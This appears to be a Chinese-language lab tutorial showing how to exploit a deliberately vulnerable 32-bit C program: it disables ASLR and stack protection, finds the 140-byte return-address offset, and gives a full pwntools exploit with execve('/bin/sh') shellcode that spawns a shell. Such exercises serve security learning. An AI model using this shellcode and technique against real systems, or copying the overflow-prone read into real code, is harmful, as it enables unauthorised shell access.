调试环境是ubuntu14 32位
代码是1.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{ char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
gcc -fno-stack-protector -z execstack -o 1 1.c
关闭ASLR:
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
首先确定溢出点的偏移,先生成150个随机字符:
python pattern.py create 150
随后我们使用gdb ./level1调试程序。
输入刚才生成的字符串,此时程序异常,确定程序出错地址,通过python pattern.py offset 0x.....来确定溢出点。
计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。
shellcode就不说了,网上多得是。
这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:
[shellcode][“AAAAAAAAAAAAAA”….][ret]
为了避免调试环境对buf定为的影响,开启核心转储:
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
这样当程序执行出错时,会在/tmp/目录下,生成一个核心转储文件。
调试转储文件。
gdb level1 /tmp/core.1433844471
x/10s $esp-144
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。
最终exp:
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff290
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"# p32(ret) == struct.pack("<I",ret) #对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
Note:
重点是为什么是140,但是char buff[128]呀。